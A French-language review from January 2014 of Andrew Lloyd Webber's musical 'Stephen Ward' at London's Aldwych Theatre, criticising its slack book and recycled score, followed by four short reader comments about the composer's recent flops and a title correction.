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Londres – Stephen Ward (Critique)

Le lundi 27 janvier 2014 à 0 h 25 min | Par | Rubrique : Critique, Londres

Lieu : Aldwych Theatre, London 49 Aldwych London WC2B 4DF
Dates : Depuis le 3 décembre 2013
Horaires : du lundi au samedi 19.30, matinées mer et sam 14.30 (jusquau 1er mars 2014) du mardi au samedi 19.30, matinées mar jeu sam à 14.30 (à partir du 3 mars 2014)
Tarifs : £15.00 – £67.50
Informations supplémentaires : http://www.stephenwardthemusical.com

stephen-wardMusique : Andrew Lloyd Webber
Livret et lyrics : Christopher Hampton & Don Black
Mise en scène : Richard Eyre
Décors et costumes : Rob Howell
Chorégraphies : Stephen Mear

Avec Alexander Hanson, Charlotte Spencer, Charlotte Blackledge, Daniel Flynn, Ian Conningham, Joanna Riding…

Notre avis :
Le légendaire compositeur Andrew Lloyd Webber est depuis longtemps entré dans l’histoire du théâtre musical avec des triomphes tels que Jesus Christ Superstar, Evita, Cats, ou encore The Phantom of The Opera, cependant, ses œuvres plus récentes semblent avoir du mal à suivre la même voie.
Pour son dernier opus, Lord Lloyd Webber a choisi de raconter l’affaire Profumo, un scandale politico-sexuel qui a agité l’Angleterre des années 60, lorsqu’un célèbre osthéopathe, Stephen Ward, fut accusé de fournir des jeunes femmes à diverses personnalités , et en particulier à John Profumo, Secrétaire d’Etat à la Guerre de l’époque.
Si l’atmosphère sixties de Stephen Ward est plutôt plaisante et que les acteurs principaux sont convaincants, il est relativement difficile d’entrer dans l’histoire. Le livret enchaîne beaucoup de faits, négligeant une certaine tension dramatique et une logique interne des personnages. Les divers évènements se succèdent de façon un peu molle et ont tendance à laisser le spectateur en retrait.

Musicalement, le contexte historique permet à Lloyd Webber de flirter du côté de la pop sixties, des Beatles mais aussi du reggae (!), mais le compositeur se permet surtout de se citer lui-même. Non seulement les quelques thèmes musicaux sont utilisés de nombreuses fois au cours du spectacle mais certains d’entre eux ne sont pas sans rappeler d’autres déjà entendus (« Rainbow Tour » de Evita ou encore « When Children Rule The World » de Whistle Down The Wind, par exemple). Au milieu de tous ces thèmes, traités pour la plupart sur un mode récitatif, la grande Joanna Riding se voit offrir le seul grand air du spectacle, et on regrette que ses talents soient autant sous-exploités et son apparition aussi anecdotique.
Le personnage d’Alexander Hanson – Stephen Ward – évoque, dans sa fonction, le Che d’Evita, en étant partie prenante de l’histoire, tout en la commentant avec ironie à d’autres moments… quand il n’en profite pas pour faire des raccourcis scénaristiques. Hanson (vu dans A Little Night Music, Marguerite) a une voix assurée et un charme certain, malheureusement, l’empathie que l’on ressent pour Ward ne naît réellement qu’à cinq minutes de la fin. C’est sans doute le problème principal du spectacle, en plus du fait que cette histoire soit relativement peu connue en dehors des frontières anglaises, ses protagonistes, tels qu’ils sont décrits ici, ont du mal à attirer la sympathie.

Lloyd Webber, autrefois provocateur (Jesus Christ Superstar), a peut-être voulu rajeunir son image en insufflant un peu de provocation dans son dernier spectacle (soirée libertine, nudité, blague sur les fellations… on est loin de Starlight Express) mais le résultat final a du mal à convaincre et il y a fort à parier qu’à l’instar de , The Beautiful Game (2000), ou Love Never Dies (2010), ce spectacle ne s’exporte pas à Broadway.

 

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4 commentaires
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  1.  » il y a fort à parier qu’à l’instar de , The Beautiful Game (2000), ou Love Never Dies (2010),  »

    Le spectacle va se ramasser au box-office ? Ce ne serait pas surprenant, étant donné que Sir Andrew n’a pas eu de vrai succès depuis des années. Je crois, hélas, que ses jours de gloire sont bel et bien terminés. Ah, bah, il nous reste les souvenirs de ses précédents succès.

  2. Je chinoise, mais c’est Lord Lloyd-Webber, pas Sir Andrew, ni Sir Lloyd Webber. Et il manque un bout de phrase à la fin, non ? Sinon, complètement d’accord…

  3. Merci Laurent pour les précisions, c’est corrigé (et j’adore quand tu chinoises) !
    Amitiés.

  4. Moi j’ai beaucoup aimé Love Never Dies …. mais ça n’a rien a voir …. 😉

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